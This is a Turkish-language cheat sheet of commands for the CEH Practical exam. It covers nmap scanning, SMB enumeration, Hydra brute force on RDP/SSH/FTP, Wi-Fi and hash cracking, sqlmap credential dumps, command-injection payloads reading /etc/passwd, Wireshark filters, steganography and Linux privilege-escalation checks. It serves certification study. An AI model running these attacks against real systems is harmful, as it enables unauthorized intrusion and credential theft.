

CEH Practical — Tam Komut Listesi & Cheat Sheet

EC-Council Practical (v12/v13) Sınavı İçin Taktiksel Komut Seti ve Araç Parametreleri

1. AĞ TARAMASI & ENUMERATION (NMAP & NETBIOS)

Canlı Host Tespiti (Ping Sweep)

```
nmap -sn 10.10.55.0/24
```

Alt ağda ayakta olan IP adreslerini port taraması yapmadan hızla listeler.

Hızlı Port Taraması (SYN Scan - Top 1000)

```
nmap -sS -T4 10.10.55.0/24 --open
```

Yalnızca açık portları göstererek vakit kazandırır.

Detaylı Servis & Versiyon Tespiti (Hedef Makine)

```
nmap -sV -sC -O -p- -T4 10.10.55.X
```

Tüm portları (65535) tarar, servis sürümlerini, varsayılan NSE scriptlerini ve işletim sistemini doğrular.

Domain Controller & FQDN Tespiti (SMB NSE)

```
nmap -p 445 --script smb-os-discovery,smb2-security-mode 10.10.55.X
```

Domain Controller OS versiyonunu, FQDN (Domain Adı) ve NetBIOS bilgisini çeker.

Windows Komut Satırından NetBIOS / FQDN Sorgulama

```
nbtstat -A 10.10.55.X  
nslookup 10.10.55.X
```

Windows Workstation üzerinden NetBIOS tablosunu ve DNS FQDN çözümlemesini sağlar.

2. PAROLA KIRMA & KABA KUVVET (HYDRA, AIRCRACK-NG, JOHN)

RDP Kaba Kuvvet (Hydra)

```
hydra -l Jones -P /usr/share/wordlists/rockyou.txt rdp://10.10.55.X
```

Windows makinesindeki RDP servisine kullanıcı adı ile rockyou sözlük saldırısı yapar.

SSH & FTP Kaba Kuvvet

```
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://10.10.55.X  
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.55.X
```

SMB Paylaşım & Parola Testi (CrackMapExec & smbclient)

```
crackmapexec smb 10.10.55.0/24 -u '' -p '' --shares  
crackmapexec smb 10.10.55.X -u 'guest' -p '' --shares  
smbclient //10.10.55.X/share -U guest
```

Anonim ve guest erişimlerini test eder, `get Sniffer.txt` ile dosyayı indirir.

Wi-Fi WPA2 4-Way Handshake Kırma (Aircrack-ng)

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt W!F!_Pcap.cap
```

Wi-Fi yakalama dosyasından parolayı bulur. Soru karakter sayısı sorarsa bulunan parolanın uzunluğunu sayın.

Hash Kırma (John the Ripper / Hashcat)

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
john --show hash.txt
```

MD5/NTLM/SHA hashlerini çözer. Sınavda `hashes.com` sitesine erişim izni varsa web üzerinden de teyit edebilirsiniz.

3. WEB UYGULAMA GÜVENLİĞİ & ZAFİYET İSTISMARI

SQLMap Otomatik Veritabanı ve Tablo Çekme

```
sqlmap -u "http://cinema.cehorg.com/profile.php?id=1" --batch --dbs  
sqlmap -u "http://target/page.php?id=1" -D db_name --tables  
sqlmap -u "http://target/page.php?id=1" -D db_name -T users -C username,password --dump
```

SQLi zafiyetli parametre üzerinden tüm veritabanı şemasını ve kimlik bilgilerini çeker.

Web Keşif & Dizin Taraması (Dirb / Gobuster)

```
gobuster dir -u http://10.10.55.X -w /usr/share/wordlists/dirb/common.txt  
nikto -h http://10.10.55.X
```

Clickjacking & HTTP Header Kontrolü (Curl)

```
curl -I http://www.goodshopping.com
```

X-Frame-Options veya Content-Security-Policy: frame-ancestors başlığı yoksa site Clickjacking'e zafiyetlidir (Cevap: Yes).

Command Injection Testleri (DVWA / Web)

```
127.0.0.1 && net user  
127.0.0.1; cat /etc/passwd | wc -l
```

Sistemdeki kayıtlı kullanıcı sayısını veya ortam değişkenlerini tespit etmek için kullanılır.

4. AĞ FORENSICS & WIRESHARK TAKTİKSEL FİLTRELERİ

Amaç	Wireshark Ekran Filtresi / Menü	Not
DDoS Saldırgan IP Analizi	<code>ip.dst == 172.22.10.10</code> Menü: <i>Statistics > Conversations > IPv4</i>	Paket sayılarını küçükten büyüğe sıralayarak en az/en çok paket atan IP'yi bulun.
IoT MQTT Publish Mesajı	<code>mqtt</code> veya <code>mqtt.msgtype == 3</code>	Paket detayından <i>MQ Telemetry Protocol > Topic Length</i> değerine bakın.
Session Hijacking / Sniffing	<code>arp.duplicate-address-frame</code> veya <code>arp</code>	Ağda ARP zehirlenmesi (man-in-the-middle) yapıldığını kanıtlar.
Metin / Flag Avı	<code>frame contains "flag"</code> <code>http contains "password"</code>	Pcap içindeki düz metin parola veya bayrakları anında yakalar.
SYN Flood / DoS Tespiti	<code>tcp.flags.syn == 1 and tcp.flags.ack == 0</code>	Cevapsız kalan çoklu SYN paketlerini filtreler.

5. STEGANOGRAFI, KRIPTO & ZARARLI ANALİZİ

Whitespace Steganografi (SNOW)

```
snow -C -p "password" restricted.txt
```

Boşluk (space/tab) karakterlerine gizlenmiş gizli şifre ve anahtarları çıkarır.

Steghide ile Resimden Veri Çıkarma

```
steghide extract -sf suspicious.jpg
```

Base64 Çözümleme

```
echo "SGVsbG8gV29ybGQ=" | base64 -d
```

Statik Zararlı Analizi & Segment Boyutu (readelf / sha224)

```
readelf -l Strange_File-1  
sha224sum Strange_File-1  
crc32 image.png
```

Program header tablosundan PT_LOAD(0) segmentinin FileSiz veya MemSiz değerini okur.

VeraCrypt Püf Noktası: Desktop/Documents altındaki Hash2crack.txt dosyasını John/Hashcat ile kırın. Parolayı aldıktan sonra Windows/Linux GUI VeraCrypt'i açıp Its_File konteynerini mount edin; sürücü içindeki txt dosyasından flag'i okuyun.

6. LINUX YETKİ YÜKSELTME (PRIVILEGE ESCALATION)

Sudo İzinlerini Kontrol Etme

```
sudo -l  
sudo cat /root/imroot.txt
```

SUID Bitli Dosyaları Arama

```
find / -perm -4000 -type f 2>/dev/null  
find / -name "imroot.txt" 2>/dev/null
```

Root yetkisiyle çalışan ikili dosyaları veya hedef flag dosyasının yerini tespit eder.